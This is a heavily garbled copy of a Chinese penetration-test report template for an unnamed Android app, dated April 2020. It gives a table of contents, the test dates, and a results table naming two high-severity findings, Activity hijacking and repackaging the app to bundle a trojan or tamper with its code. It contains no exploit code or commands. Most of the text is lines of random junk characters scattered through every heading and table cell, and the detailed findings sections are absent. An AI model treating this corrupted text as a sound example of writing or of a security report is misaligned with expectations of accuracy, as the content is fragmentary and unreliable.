5 z0 A/ x' ]1 D3 J# x" U# g; f
3 U( s3 K# C4 @# b z3 S( Q$ ?
Y2 K1 e. k. c( [; H
8 l# a- n. [& l# J
! Q7 N0 r7 i% T% ~/ M/ Y' D$ r5 J" |- l' C: k9 q4 p
7 q8 O# [, ]9 o$ A" R+ U+ F8 [, M9 n2 G4 }3 m' r
4 f. U" t* p6 x! z9 A6 Z
( w" n; o: H1 j8 ^% ?, V5 U: f
; D4 s" b. x$ T0 R+ Y5 L& O. F3 _4 R( S% R
文档编号: 4 }; L0 C( A g. B
h- `" j- u4 [8 ]+ q. a9 U4 j
: x8 m9 b7 R- F! z4 L) Y3 q" ~4 o
7 D4 S& o& H5 E0 B5 u7 o
6 z% G1 K2 J) \, A" Z
% J* d( K6 J# }: D( b; O* w0 S
, f( Q; u. ~8 l2 G K) v
$ p/ m9 E% f$ k4 _
0 V3 x. a2 |- l, C0 s2 Z7 P1 `$ S/ l3 O' F
) [1 M O% C/ P
7 @; E- v N; B0 l, d' `+ F
# x( ]4 G3 I1 |* o) ?- e# W
7 w. h. z+ P5 w5 A8 O% t3 q: ^
' ^7 d+ N& ]: h4 v1 L( ^$ _3 q
+ B' d: Q+ U; P7 ?/ s0 D! K2 K
( I% u M: s2 V7 u4 P2 R0 B2 h
3 H# K6 l- H* y/ b
9 s9 `* R$ B* o$ Q* [$ R! L/ ]" N! K" I) `- u
: K& g: k) U' p' Y" h9 U2 P! L
3 s9 {1 W5 B/ D# A+ ?7 n7 ^+ y6 m 5 z' g! d0 c# w R% M
& k6 J. o! {5 Y3 p% _) h; f- B
H# x4 |# D/ T6 g. k( v! R+ g. ^, ]
2 h/ E/ J2 \. {. f
$ Y" F$ F g5 B- _$ V9 r
# `0 M Y9 V! G. k8 U, C 6 G, v/ E: {) a' X: I$ C# ^
; C! ~* W/ x% N: I
0 ?' U/ w2 B5 U5 I' h" H
9 I4 [2 B$ U6 `! k. V
7 g# ~& Q- g" M9 q. i! e& ?# |$ G3 S: N" g% V/ X
" J, q# q p/ f, R/ d2 P
5 E( J" u2 m/ E; i) C
某某某APP渗透测试 % X1 C: K: l/ y
" d9 d5 E- a2 q3 x% K9 V- _
: |5 Q7 z, p8 }8 N
' J: O5 r( F2 g
' X& b1 b7 i7 ?7 a- Z1 a2 h" A, P/ x2 @: L7 Q+ s/ ^6 Y
) q6 ]( l. b' l% j. I% J7 C) t/ j/ X8 h. k* s5 u$ x. |$ W9 w/ ]) N6 u
0 h4 d/ I9 A) k' v/ \% k
2 `- C& @+ B5 E% x9 g. D2 i
& o2 A6 E% t6 [& s/ o- r& S
# u, J. ?* A7 ~9 ^ 7 x' a1 {% |! E& t5 }
9 c8 S& }, ~3 Q b
. w. X4 d- o- _# D. {, U/ \1 d. }/ }5 c, E8 ]$ E
3 ^$ T' j; ^2 Q" U/ t, I6 d- x( E
8 P, l4 v6 H1 t. \# _7 F# q$ _& _" a # C* m% z# |6 ?, e
" E m# ? m* r! d7 U8 }
7 v" d: v2 e D7 w4 a& G0 b7 r- L/ N2 a7 L
" m6 m5 j1 n. A, E0 c& ^& j! G
. w$ S, l5 g2 R# R/ g* x % y; K" M: x$ x% C! G
' D( }, Y- I+ q' p# Q* r$ G
- v! I) r c$ S: _
7 ]: Z0 @& L2 a' ?" v* { & p3 `9 r: e9 K7 R/ a5 e* y
% g! R, w. \- d. ]8 W/ j! w* m/ |- j 技 术 报 告
; n$ H! [9 t; d3 C, z' P6 K. P3 n. K: }* b3 T
2 Z! c$ R7 ~2 a) M/ T# w. u1 N) p$ _( T/ S& ]* I7 m
1 I2 @' E$ h! v+ e; z! w8 ]9 c) z1 e1 q) r* }$ m' Q
: O$ ~$ `3 L% `2 I% t9 q
2 x8 F _& {6 h6 l
( h4 J' o$ X- z0 h* n( `; a4 ^- o i- |" _3 M. r; d
9 S4 o9 T! X$ A$ y- ^$ p3 L6 J1 R
+ K% J- n6 s& L) l1 q# @5 Z! @
L& k) t4 i- x& ?. N
1 V- X2 L& ]- l
6 v. f& [% e& Y: G! |; d. k4 \
: H' r C( J$ K8 d8 ?: t2 z5 [$ P
' G- H9 \8 V+ q" ?5 ?
3 W u9 E U8 B# V! C 8 R; h$ k: s3 M! |) o; N
% J: M9 K0 E h+ }* x
/ g* f4 H9 O, |9 y# C2 A8 ]
6 k/ Q( m4 t- i: [8 W ( Y" K9 ~/ x- r `
, g; f: Y" e+ _, d" C4 _
! l& P8 y7 \$ I
+ R }+ s3 b8 Z' o# N/ ]
2 P: v: \% p" e0 e& r1 s5 o
& R0 w$ S3 f- C# c* _, X
+ k p& n4 l d f$ i" p
& r$ f" f& K2 [4 n8 j* c8 V
# W' R0 \2 y T* @" `3 M
% p$ A I8 c& B: U* u/ s
Q' _0 @1 {6 W; w+ n
) P2 V2 } k4 F+ s + ?7 W, {* m( e- e1 r5 b9 N
7 b# ~% J- c+ t
3 E# B' Q& Z: F# n
6 K- ~/ j+ U3 N) D# g( X( l
+ Y5 p! ^' S" a9 L6 L' n
7 i9 r5 d1 p6 s; R9 \: F ! {7 F0 f+ I, }) X: B
% b8 v s& _! r% p) Y% y ' W+ p" p: \4 ?7 i
$ `$ e/ a4 E) |; F) b( ^3 h$ L7 v
; G; [* m# Q% j
5 d, v6 [7 k* y- s 8 l; L- N7 Q5 Q9 ]' D& i' M
* e8 _. B, D. a2 t+ [# l+ {, A 8 V: O, d" n6 h/ n4 [* H% t
/ n! ]# m7 a0 P1 F
9 R' h- j" \ q
9 |$ `' k' U& S- Z4 o, L! f2 \ $ h( F0 l+ S. Z: Z1 h
: h& }5 e: L3 {9 m3 u' h/ J
& C) V# r* K2 l) S ~9 U
! G6 O7 {. C' X, v& L- W: d
+ N: i! V! S" X5 ?8 X
/ w) i/ W/ W- {' z
0 o* X D+ T" k( U" d
5 Y% H# n6 X) U% j$ Q2 _ N3 c
" Z) S9 x5 P) k
2 ~. k2 X* ]# `2 ~' f6 d: j
0 q* w2 f* h; {/ D' H2 X' M$ x; @: B4 g1 M \4 D
1 ^- R* P# K0 n& E" C; I* Q6 G$ a6 Y4 S, v$ z5 }7 \6 n$ n8 e. x: {& t
8 }; R& _( L! X( Y* B8 B' D+ I- k4 r& ^+ A6 h0 n
: e* ?0 s; ?0 j B2 r
4 g' k( I: D; y, C8 ?! g7 d
! L+ i' ^% U. }' p. E) @
, W$ W( u) P" R4 T* n 0 D+ e( ?8 O" M0 \, Q$ a! P
6 j! r( o8 `$ ~0 u8 G! z7 z
) H$ z5 \: U0 g# K( _ T8 g! Q3 g# C
% F9 `" B0 m& H4 l1 [; `# k' z
) z0 K3 B- E Z* O' O
# C6 B$ G+ f# B2 |& [1 v4 {4 O$ s
5 }9 }' ~8 e+ g7 Z4 ^; N
* p% m3 L7 J; U' @9 v, B6 e
. d" H6 I3 L4 b- l5 X e
3 d' T1 ?: W* Y$ }1 [: U% C4 j' B# a- K
6 B' k! _5 u3 [
: U: Y' l2 }+ S C' I2 f/ p8 s
7 ?1 z4 Q) ]5 v$ r7 L; h1 f, G5 Y
' N* u& T: R1 x, r: O% }& e R/ Q7 U+ X% o$ J: P
8 Y# H# N1 v' z4 P+ k& \$ I4 p
$ }0 e! l+ S$ U4 W% F. U. O, Y* P0 g1 |. Y
; q Q; ^7 w) x: Z$ o& v
3 f9 ?% R4 i% ~5 Y, Q! [
: j, b* \4 ]# x' I# Z. w
, f3 J V2 Z6 H; k# ?3 W6 U m
. j w: y. m7 q% T6 D1 j% L
8 Y4 {; _, ~: g" s2 ^) Z: b
& q" Y& l7 D1 i
3 K# k# [2 O0 C
" u0 ~" E ?& k* Y$ |
+ ~6 t( X% B% Y W* s' s$ }1 n. E
& ^! z; S' ~# a
, ~. v5 L$ G; n. l+ W7 \2 E5 n# L/ R
' ?1 F) G2 ]7 C% T Z
0 S; Z+ a, y' M3 O Z2 C) p o
) B' S! A! F& P7 [% D7 k* @' e# h
" Z5 q3 P. y3 Y/ ^' u) e
( B# c {8 i* \ V v- ]! g. T+ Z |7 h: N# F3 ?% [
4 k% Y6 Q. t& `! y/ T% U4 k
0 J, b, D2 t% U6 ]+ _ 二〇二〇年 . N2 t$ }3 g& r5 f3 j
7 ~$ L" s# q& t, s" ]1 G& b5 X
. A0 H8 G) z f. Y" G: i) m
" J; d1 T4 c1 p3 x
# o3 k" F- e, D7 N
" T$ b" {- s8 S" D: E
& D7 b$ [: K3 O6 i* k
- Z4 |8 c Z7 j7 B# E0 c7 S3 e
1 t% [ N0 u+ `/ i! v u5 I- D* k5 g s( R% p' O% |" @4 Q
+ i. G2 L" n1 K& A5 H
! Y, a+ m4 g6 l0 M
; w3 x( m! m Q- m
4 M! J5 b; f% z, a
6 w0 Z4 j5 X3 N, h# F0 _
' q( L& ? h5 I$ c) w& O - |0 B6 f6 ] \3 z, y4 w
+ r2 g8 E/ R6 o' O T( T
7 A7 m( H. k5 z% `! z8 D! G' Y w- V
9 ~9 t4 Y/ X6 d
7 C! W: ]- i( N* z: L. C' U
目 录
0 F+ x' J% _7 d3 G* R0 n" }8 ]- l( b# @
6 U7 S g- G0 ]/ [6 f
8 l/ F$ }% P+ v
) ~% L* K& D7 S9 ~2 F1 B; y9 @0 S- K1 L9 P. m8 b% f1 ]# E
: O6 f5 C: ^2 v4 V/ K1 Q' t
# _* ~4 n, v9 x3 y r7 V' z8 ? 9 b1 c6 ^: o. v
9 s& U; B3 ]; F1 Y. i
" p# T) m; n; H% B+ [5 V" S1 w8 M
: }) \. m* ^) d) L
7 i) e2 D% @( {
6 r4 p8 ^! H2 i$ y, x7 q6 c/ O 1 概述... 3
$ J2 H/ N8 L7 X) A$ ]* u, q% R0 j7 R2 v- t i
6 n+ Q, J% m& ]1 g3 E. M1 z4 l5 k/ C8 E) R1 U' S
# l; s7 o1 w( ^6 z$ {" F
! L- n8 ~+ ?6 b: n
1.2测试时间... 3 / ]* @# z) w* v& P8 r
; M6 ~5 z9 y( }; U
' @5 x( h/ Q. p) F; F5 Y% |; ?# j1 b' @
5 }9 t" |" P7 Y
4 N( o; b* F! ?7 o 1.3测试对象... 3 , _: A/ x) W! c- n; K) F, q4 [% e
+ G3 h" u1 E% ?, E1 m7 ~
% P+ U; m' i Y) ^; M4 [5 R8 T; e$ u
* o& Q; h" ]7 z) ?3 C3 s4 y& T
3 g1 M2 [# z, E. p8 d6 k 1.4测试结果... 3 ; l1 ^+ }4 q8 z
/ j8 G. {3 Q9 D+ n( H6 |1 e, E
: c- ^. u ]/ u/ X8 j4 m4 a
' {9 a7 x5 A- [0 T
1 m. ~3 y8 Y; k4 p
2 p: e( y& d6 d. \) t# _2 m9 Q 2 检测结果... 4 ) b8 W/ j: |. R1 u" Z/ C
2 @3 v5 {' q# d( a2 a, n. t
" j: z. Y+ x# v: Y9 o
2 V+ O a2 d; E7 \& P
c# n8 D/ O4 D4 s# c7 S( [) t* [; \0 X8 {6 Z9 C
2.1 某某某... 4
, P8 m5 K# _1 I* h' f0 r1 W$ _& ^. K, _4 P9 G2 h) h" H: X* s
/ @& g- H; t+ r& v0 O. U6 j
7 S- o2 V! ?/ A8 v) q0 ^3 q4 P 2 }7 { [0 u5 @+ s
( D" B# Y( A9 M2 [
2.1.1检测目标... 4 - F) u" ?; K1 p. B! ~# d
5 x/ K8 o3 O8 t$ M3 g$ Q6 o9 p
/ P! [4 {3 M3 F: p; K* V5 l
6 S$ }5 A# i; y* }3 W( F
3 ^' x* P4 I" x
8 _2 E7 N, L& W) o' k( o; w& N" h 2.1.2检测结果... 4 - k$ ~7 f& N1 T# h9 |2 {
6 |7 W o7 h" x' E
8 h) e* J; R. ]7 h; L; L- {* v$ s
) Q# A0 z& u; p. R% R
- l8 d+ A5 X# _" ]! { _4 {0 H2 E- j/ Q' G- }
2.1.2.1. 4
4 d% X X% E: _3 H4 Y9 ~: V. B8 V4 [6 i: h
}, Q' l! R& v2 f, j5 \* y
+ K& }' _9 B! c7 D ; c1 d- _! O; e* u% ]: ]/ z
4 u( q1 f& N! F! v& d/ \ 2.1.2.2. 6 ; q5 {9 s1 L4 \# P. V s
% r- Y* Q+ I. W3 j: U) I$ v8 t4 w' Z
3 m' j/ B$ o2 O& b! y- X& p5 F- f/ y
& o' ]+ C G7 F
, v+ n* x( e3 g# v$ i1 v0 l# f' @3 [. K, o1 H
) |- c% O1 p8 l) S4 x0 c" Q! c3 J7 h' r$ q6 F0 B
7 _3 t; _" n; c0 R, i4 j/ E$ `2 j) T( N5 k- l% q
5 J _! \* `; b2 c* m- E3 n$ {6 z$ L
! a& H8 N2 j8 E. `- y1 g+ |6 e! ~9 Q
0 u- w$ t9 C8 N% j. t& @; f2 q; H
( H3 ^! c# J1 q
/ B: H+ d' [4 h; _% V" P9 } b, Y4 L 7 P9 g3 P' x7 L. l/ M- Z+ _
% L0 T' T& v. c/ w) { : K. f# W4 A0 B0 {
I8 J" M# p0 p9 w: `4 ? i i 1 概述
' p4 Z9 a+ T6 ]4 n @8 C9 C2 y
4 h4 \: M- {) H3 n/ u4 |, Z
1 Z! X# g& W. f/ _: ]$ M5 H" @) E b
( s$ C4 W" ^& U5 X' n9 y+ m
6 `& f) M$ O+ [9 S/ g
# J, }* @! R! @" J% ]6 L- S 1.2测试时间 & Y: d9 e5 k* H+ d0 \5 I9 Q# R
; g9 h+ |( J) }. [6 z- q* K
) L1 E0 P9 T% q$ s5 g" s& ^; A( B6 e$ s+ \
3 h; V3 n& n6 x; P8 m2 k+ Y- m8 q- ^
7 ?, @' w; h! Y2 R
7 U; m; @8 J C; p % |$ W( B1 e6 M( W
O) x6 A1 Z9 X( Q. J | % N5 V3 {, e W; @
6 R- y5 B6 g: ?! F9 R # T$ z) }* w2 a. O
9 S! ~! Z" H6 ?/ j! z
渗透测试时间
, q; I1 d# f* B0 J9 X: S6 ^5 @ |+ J; p) a# Q# Z
; B$ d2 a6 Q% W* F
9 ^& j* N( I( g |
, |% a" F& `4 ?+ C- t8 M
- `: }: m: ^0 O( y8 I2 B5 n! v' i
. B, r( u0 S/ R- L' X1 E, Y7 e' ] U _; h
9 {; b5 R4 q: D# P1 l# t
! b- T* X' Y& s% K2 ]- Q8 o+ N& b6 P3 _ | 3 {+ D ]' B1 T& u& ^
- R: f! R2 b/ r
- T9 m n' [1 A8 m
# M2 r" l D9 w 起始时间
3 ~1 `- m3 E/ h. A" y( y$ m7 i8 t- v9 c
) ?3 T0 p$ n) B q4 z4 p) ^. X: @0 R( }3 X0 t
|
k% d& C4 p& e2 p7 G$ a V# F0 |, q7 S& [
: W: H- h- K1 g2 }6 ]: m) ~% y) E
8 b$ ]7 q: F* ^! ^
/ O% n" Z/ w: N: q2 g F' c- i1 o
* c0 t0 x( h+ {1 y3 O 2020年4月6日
) ` V P3 }# K, s I
+ ^7 z3 _( p3 z& A, F, \9 i# { q 8 Z6 c' u2 Y$ j& i
& v; t% [3 X$ O1 K
|
( H& {% n7 w, E% n
7 C6 v! q, P6 y3 B( o2 H2 Z
3 w6 ]" C! w! M: s g8 L m
' ?% e2 H' Q/ _( B) I# f( L ! _& `- K! \+ s9 A* R* r- F- F
6 B6 K' d/ i% _; p5 M& s7 } |
$ n( M3 }3 h) c1 G! n Q8 `
* ^1 F9 J s5 u
$ Y; h3 _/ S1 b2 s; b. K9 x7 `' v+ v0 T" s7 \$ D/ `# N
结束时间 3 x+ z5 P! M7 H% R8 O
* `( Y* j P/ B9 c9 J5 c
' s9 y7 d; j* H) X: K- I; g1 [5 c/ u" M+ o
| 2 G6 ]- ?- j% m" w2 x
9 G) j+ Y& a9 y 5 U% C4 s3 ~- n$ y
6 X8 B8 Z6 `5 S: E. s+ z
) U' @2 `7 h2 H2 b# Z0 m
' o5 H& A( }; |) G 2020年4月9日
: T+ |) {2 U* ]* z
2 m7 b( p/ {& z- v* @6 n4 F
- W, _, F! D9 ? P+ H* ]: Z* T' I* N6 d/ B
| 7 P; D; s0 m) Q5 u
: R/ [6 s- o6 Y( g' K
! O( Y7 G7 U# g9 W
; j" o+ Y% M! [9 {. u
/ Z" `8 X+ T. ]- e
9 Z& O; L# e5 @) c/ {. F$ s
2 B& l+ A# Y; S5 V, |$ g% z2 m
9 A% y( x3 F5 D/ a9 Z8 }
$ c$ L+ m; p% @" \ D: B; n
) C% ~- d7 J; Q$ A. d0 n1 D) o 1.3测试对象 9 O9 Q7 l" h' g2 l7 D$ {% x
, h5 G& `. S, s/ i: c' l |
& ~$ r1 V% i" X1 ?
" f5 G1 W& V; g; W+ ~8 B- Q! b0 u " @( c. W/ \ F# k8 J
4 F3 K. X: ?& x, p/ I) G 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 2 d; R1 L1 h) ~) R' n8 r
e7 O0 X, F, `- ]" ~4 `) e+ ?( W
+ ? d' \0 x9 W# a T$ K4 Z' f+ b# l6 M' p
( d5 ?9 h% a) M: ?
6 x$ [3 y, E# S
表1-1 检测对象 + p! O* `& w( G/ u C9 M
4 k, f# F. D# Q) G3 r x* W, N
5 Q5 {/ s% h) p$ g0 C, i" Y2 p8 E
# F4 p; g' w+ Z
& z2 N' U! z8 L) K2 p( \
+ k) s. q- r; c ?5 M/ `* H
7 q& W( N& Q8 p% ~ c2 G
+ e- t2 N1 I' D' k; p, X5 V+ p9 j8 J4 A1 Z2 b: m S/ ^! V, }& d) |
| A8 v" l. y, f: I) ^
3 s, c- b, {* |9 f
. f! O0 e. h3 U ~" ~
' _5 X, E- b; l
序号 4 X( s) `7 Y6 ~. z% f: |
2 O! k& n @0 c; m6 S$ v
9 H. Z5 w& m/ C% |& k0 _! X" G1 l7 A7 R4 v
| # J6 ], p0 Z2 N
5 d; D( j, j+ q5 T. n3 K
1 t [4 w: Z; y' f, s8 o# a3 a- z1 B* k# Z* B/ G3 r+ p% F
- o1 @( T8 W# H) ?$ \$ U! M6 ~2 y6 S: r
测试对象
' B" A$ S6 {. P1 N. Q* x& C* ?; i! ]4 z' b: o; a
* x. X4 U/ W9 ?8 V/ T) C: ]6 }
& ~- h% n& ?5 B4 m9 u |
' n0 e. l' U$ b n8 J8 V3 ^2 U1 { J- C' \* |
5 `" o% d, r. c% c& h$ M1 n+ _) {" ]- G4 _( q, r( T
! c. `' Y) L& w5 Y' p* I* p; y
' I: i* S5 ^* `! U 测试地址 ( U4 k$ D, @2 b% a
! Y( U- j1 h; \( M1 O/ Y
2 V( i' |9 D0 l4 U0 s
. q* N% p5 N% K" ~ |
' V8 e& r1 D* ^( U7 n* T
+ s. Y! T$ J2 F8 h* V1 I , \+ Z7 s q" A1 a1 ]
. N& @+ t. t" M& ?% w
B9 l, b7 M% m1 W* |1 S8 ?% N: G2 ]
, p. E+ K/ f. `+ ~+ i* R& ? 安全漏洞
- [$ h/ x' b2 D7 S4 u2 H# l: g5 n9 U: }: \8 v
/ |4 G4 j* L. K
% N' e' a/ ]- j0 `- o% \ | & R( L1 @" F1 |8 i8 i8 Z6 u9 h+ B* G# v
/ }9 d1 }# ?% R4 Y1 d
* V9 M% q8 @6 i U$ V- a$ L. o* X3 j' G
; Z# N5 a! n7 s( ?# H$ A9 \4 O: Y
) U7 N7 K+ ^' f* K; P | " w* v& v' j. c/ L
5 y% H# P. F' `7 X* D
4 D5 A. F& g- U0 T" j3 s$ l+ d4 D2 [* G i* ?1 J
1 ; y9 l+ O/ ]0 X1 C. [
" Y0 z, U. @! d6 g 0 I4 Z! N( L9 s1 s o
x8 `. ^( j! i/ f/ t5 d2 S | 8 Q# P* Q* s# l- j) Q( B( ?
9 V- R1 h8 }1 @5 J
/ t5 |) J- Q. |$ w; O' y, ]5 P
$ P, p5 j# k9 Z 9 u0 y$ T4 d3 H7 _
8 k } o- ~% S# N/ O8 b! _ 某某某安卓APP
6 J* O: x; W& R* u
8 X* F$ g7 b+ G/ W6 ]3 x9 _
6 x3 v% t- \4 C7 I3 Q. L7 c* I
7 B) |- o4 d) q/ F- ] b h9 O | 7 A8 m4 E, V' a4 Q! D
- F* l- n- `0 |5 ^# v
+ N0 ^) | o% a, }6 l# Y( }! I6 B j- ~. _+ m4 I
- G. N' E6 j+ o! p" P. r6 I
% K* k% I* O/ F: M) d! k, T
' d( w' b a. `" Q! Z. T
9 w! G' d- A7 d' C8 k+ A
( D/ s# e5 z7 g- r+ `# ^
9 o8 u; W( H9 O% H: e4 o2 [ |
& G8 _9 k& j+ e0 K7 b: c% t4 A3 X1 l8 w% s; }, n0 t
! _) }$ m! K6 }( Q2 R* Z; Q2 x6 d
: m! \$ U" k4 e+ {
- _; ^5 }7 W- z: J2 F! J$ c& | ?5 y/ O7 l+ U
2
6 B! p( V; O& u- A
1 }1 c$ _7 Q. G+ ?
: ]( n9 L5 D& }% l- k' }' C
! I: b3 H% n$ X. t, z1 g | 5 b4 c" z* B( @. G) z4 _3 @
6 E3 E( v: F& h% l% k
0 L& @, Z, _, U/ N [& |* L# J {$ S3 @
8 q9 i& p! b: r, C$ Y, Q
, u+ p4 u1 \3 E, T( T8 C
F9 E9 O7 v9 i
6 _; r: ]) q8 L
) A0 l& L9 Q! X, i
6 S d" J2 W( I0 A; A) m
1.4测试结果 ( k7 C& r* w, _- @" H4 A4 N5 A
* h% ?2 T: ~ k6 \5 q2 ~
; x. w& s2 z! Y3 D
) H& @! R9 a- ?" [1 w" L! S; V
+ d8 {$ E9 a S" L3 l* x
2 e0 [9 M; c$ O- w
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
8 A6 c+ e: @6 \4 K* u B2 F5 o6 @$ X. y, a* U1 J
' H8 d1 i2 t8 p- G2 Q+ {! Z
3 H9 E$ `$ W: }8 p+ h9 D7 B " u% a% k' c; b8 b% A/ ~1 t# J/ V
K! f+ i: R$ E8 A, d% F2 _! Q- `
. s; V2 k2 N3 Y- ~$ @! o. t6 i+ M9 ]# L
7 s A6 g% \* v8 E5 P2 }7 C5 r+ X5 W- \; |
1 ]# m! R! C b* @9 ?% r
/ T8 ^* L, ^2 W1 P; E$ F& }8 n# D9 b
% [/ }" C. i6 t3 W0 F! K4 X5 a2 L/ \$ m, D* j5 v
* ^' z) z3 I% v2 Z2 e) d% U' O( i7 P! w9 j) A
9 h) e) L4 A( P1 Z' U3 k' {: x6 ?
6 j* ] w3 G/ W |
) |% O& X- M( G
. X$ [+ ]) m W& r ( L! X! O5 o' P2 O
" Z+ i+ }5 A3 K: X) x 序号
9 o3 _% a$ ]. ^1 @0 R. D1 P4 o6 x0 ?& \* O. {
: |. V' f0 o: R8 K
7 i9 `5 Q+ c& j8 K6 ^ |
& m5 {, f& z1 g+ K4 x/ G
" ~) b* G) `5 i# b
F# N3 L* }5 Y! T" a& {" y5 {
! h ]0 i) Q3 g" K
% B; k& Z( d- _( n/ K
) D7 Z. X+ e$ |( B9 i5 k6 a 系统名称
- Q; Y- I' [/ d# E/ ]$ E K1 W3 F- Q
7 ^# m* Q0 W% {. Y8 O( A c% c
|
/ M2 R$ U1 l; y' e8 n) m, X( J* F- q0 W4 O/ e$ [1 E
1 c8 D9 X2 g( I+ B7 @9 V" m" x3 Z4 M; P) u5 t1 r1 U5 o" i
' W$ Y( G0 d8 c& `9 m x. M, M, |0 a E+ Y+ y2 M7 r6 H( g; J
漏洞名称 " p; R' H/ v; m$ b# B
/ y7 T- ^8 `! U9 A4 I! U % Q+ L) h; P- F Q
1 @% \. w, e& x
|
4 V+ u; d. D* A$ G2 b( m
& |0 l& c' p6 K0 O' x* k- }
4 F! c2 B9 h1 {0 H2 j, t
4 u+ k+ v$ U) O5 Z
' v: F5 @& b9 X% z+ S4 O7 t3 Y( y; w& B) [. v2 D
漏洞危害 & ? D+ ~3 d. N: `
1 g/ v' z, ~- w" Q ) m+ X d; o9 N. s H
" ]% `+ N* G$ p
|
4 e8 H! ?7 ]+ P6 a! W7 ~8 b0 d n
, y# ?5 \% z% N) `, K
: v+ n, C+ n* {. v
8 T9 C$ _/ v& Y+ G/ E: |1 S, f% I8 M6 H, q ` x: w) V6 L; \
修复结果
& Z: T$ @/ K/ y% f1 T( ]9 \! P# ]2 r: |' Q K
/ v: |1 n: v7 o' _2 r: X; }' x7 `* r7 z# c2 t: Y$ D
|
8 p1 i# U$ n( R: r8 v1 W o
4 l m$ o' x" i9 \9 u3 a* K
! b2 s$ K2 `7 }) [" X$ J1 ?2 [, [8 j+ C
# @# n3 Y2 y# w
8 V, J; V/ y0 X
% k% m' P) P3 H* H | - x& Q) \" ]8 G3 w' [; {7 n
7 s( u6 X0 H3 n: i$ F& P0 C; O. m
0 o" h4 g) A# ^6 H( O$ O( t
; Y. F* G2 C% t0 H! D- w" f 1 G9 k5 c$ z) b& X! a2 P# C
* l1 U: r! _! L5 C
5 X1 q: V' s- u+ t" [( o, X2 E
4 Y) u1 m K: V+ Y/ T | D/ r5 Q/ {5 U/ }7 V" f8 h; A4 `; N
, K2 i# J6 U) Y. k% k- V- Z
) w; p1 r5 D! x0 o2 b; q( B& Q4 C: V6 g0 a: y" _
! J) h- ]% V: p% v7 R
7 U( a6 k ^* H9 l" Z
某某某某某某APP , X, E/ @) J3 S7 B
' v" k5 `4 |5 M
% q& R4 r. J. x2 u1 a& I" ?
6 p# [5 M p8 s! y% b7 R: P! p | 5 k8 ~; |# a5 h+ w: U: w
. Z+ G+ k5 E" ?; p6 r% L) x, t
* i$ b/ O1 e# b$ j" l. ~2 U7 L5 |6 U- r0 D
; Q; y8 L7 J- o4 a0 R0 F& l
% i+ Q( T, \7 F( u
Activity 劫持 2 m: F. W- m$ B8 c- V# Q
) {* O* c: @. c% G# m# M1 C- N6 M
9 G6 U" u- N9 R- U1 K, o% j
2 I4 ?$ S1 A4 d$ g2 d7 I
9 U1 I3 h0 r3 ~& w; ~/ _$ D& ^) k z" i) e8 n
8 T" r2 I5 V- c$ f" V. ?" }
, \) O3 A1 ^; |5 T
y- Y+ N8 R% R3 G5 S& t$ B& }: n
m0 @2 Y3 u9 R1 p
| $ S, x- ^6 D+ x5 R
% U9 g, a! i2 @% p+ E( _# z+ B( d* q . h X; w; @ K) B: D L3 L
+ Z. i* s" t; @" q
7 O/ D2 p+ J' ?7 h& ~6 E& ~! m% |% u# Y; r9 @) B9 v# {
高
/ y' |0 I0 C0 m# \; u1 \1 C* ~4 O! i3 A, f0 C
' u( ] l! B8 e( @: ]+ Z" n
/ a& f3 ]& t7 Z. L& R2 u. ~ |
o. t3 a$ d7 b0 |, f \
: x2 ~+ S7 K/ R 8 {5 {5 b* |' M6 {4 y: q! |' w
9 }9 Q4 }) ~2 \5 n3 \) k
, w) ]0 ]5 }- X1 f9 w: Y
" E6 A6 }7 X: \3 q! A; i
2 v; ?3 ]+ N+ {
! h }3 p4 w, R o# C
! P0 j4 S0 z; m T" C2 O3 q; b2 ^4 U7 z/ Q' t8 f
| 2 r8 b7 }2 n5 r8 X. ]
9 W7 `4 ^' a- g
$ a& |$ {/ ^" S) s/ B
' T# S) z$ t0 s' L
) u9 E1 ?9 L" G2 D! V" S5 W4 v7 y" e1 d0 ?0 d! f* m" n
|
8 z! E/ x- m2 B6 f# u/ J+ u- c' C' V9 o& g; X0 z0 ~0 y/ Z! f
" s" I- p1 X8 ?* l* R) l
! h, _0 t6 {( {8 }% Q# u' U( D) @4 N8 H 2
/ i. N- M: j7 |& U3 ?. d7 Q" ~! B; R5 Y- ?% k6 n7 Q* P5 T
0 x. z' i" o2 X) T! F+ K
/ }) F! O, d& }5 n |
/ s- Y1 Y; E' e! A0 @4 R: B$ O. e0 F
: |- A$ \7 S% t: \$ ?
; s1 W" W- I3 ]8 r! v
% @1 A: j3 ^+ ? d
! d% j& {0 E: \; q% `
8 y1 O4 Q8 a/ J. A/ y3 S1 F- O4 M 某某某某某某APP
( i4 ~5 p/ \! r6 W! _: i; L; y1 B$ M
4 I- s% L l$ y- \
( c+ x$ W4 \ Z7 n) ^# N( I9 S
| * A$ f% m- W& T! f
% u5 l; V. F- o" {) O' P
! j! ?3 ^" q5 G; ?: V6 |
3 A3 N) w( ^3 v: n% ? % U% |6 |: b) j( z! F2 Q0 w
9 ]" L! f' k/ Y* g8 {0 J
反编译二次打包捆绑木马、篡改APP代码
- V1 y, t' `' D8 G& E
$ o' I, ^9 p; V* T2 h' t+ @
$ K @ |6 F1 |, _7 c1 [( D0 m' b- @ n8 n# U U3 N0 a+ G9 e* g j% V
| " s2 I# \) V1 @& H
; V( L$ w4 U7 N9 R( f+ f- c( {
$ u# ~9 D9 W3 N/ \- l _1 j
; e) v& {# f# j. c' B" A 4 ~; Y1 r+ G i5 e) x
`8 V0 u( ~) Z8 Q 高 0 r1 K( K$ X6 T1 F p) G
, J4 n% ?! b! q) w6 d+ ~2 {& k
3 Z1 E. b) c" G% U0 ]
7 ^5 G1 \- q5 x- P8 Y9 v1 ^6 w+ i | : \$ |+ l% ^- O
& H4 D6 n7 x/ Q: Q( D! h$ |& K
( e0 R1 ?/ o5 j4 Y7 a8 P% P% t. {+ K; I% w
' U# }: U( m M0 A
: [% m8 I; w: b
0 H! p3 D1 o. ?! ~6 a! u5 x0 H: I2 n4 s) F
( S x9 k' B) ?4 s" N" j( ~ m" W* r: z3 f5 j; O- M) d
| % B* f- S3 ^$ M) y2 d$ }4 o, H
) T! V( @$ i2 u# q/ a0 `
, I: K" z3 @- m; Z) }: L$ Q) L3 X& i" |, {( _& ^6 a
$ Y1 a! a! S+ w8 ^
P; }+ J+ d! _2 `- p
) I C% \5 m1 c& q: k: c
" ]1 {( h' f! I9 a' [& `& r! E
7 }, g* ^/ V3 @% T' O
0 i: l7 f4 \6 J0 G # s. R6 Q. L# D( N
- F+ R/ Z/ n& b! k. m' S! l
" Z! H& s' b( L
+ x! |4 K2 m$ i* X" H2 T
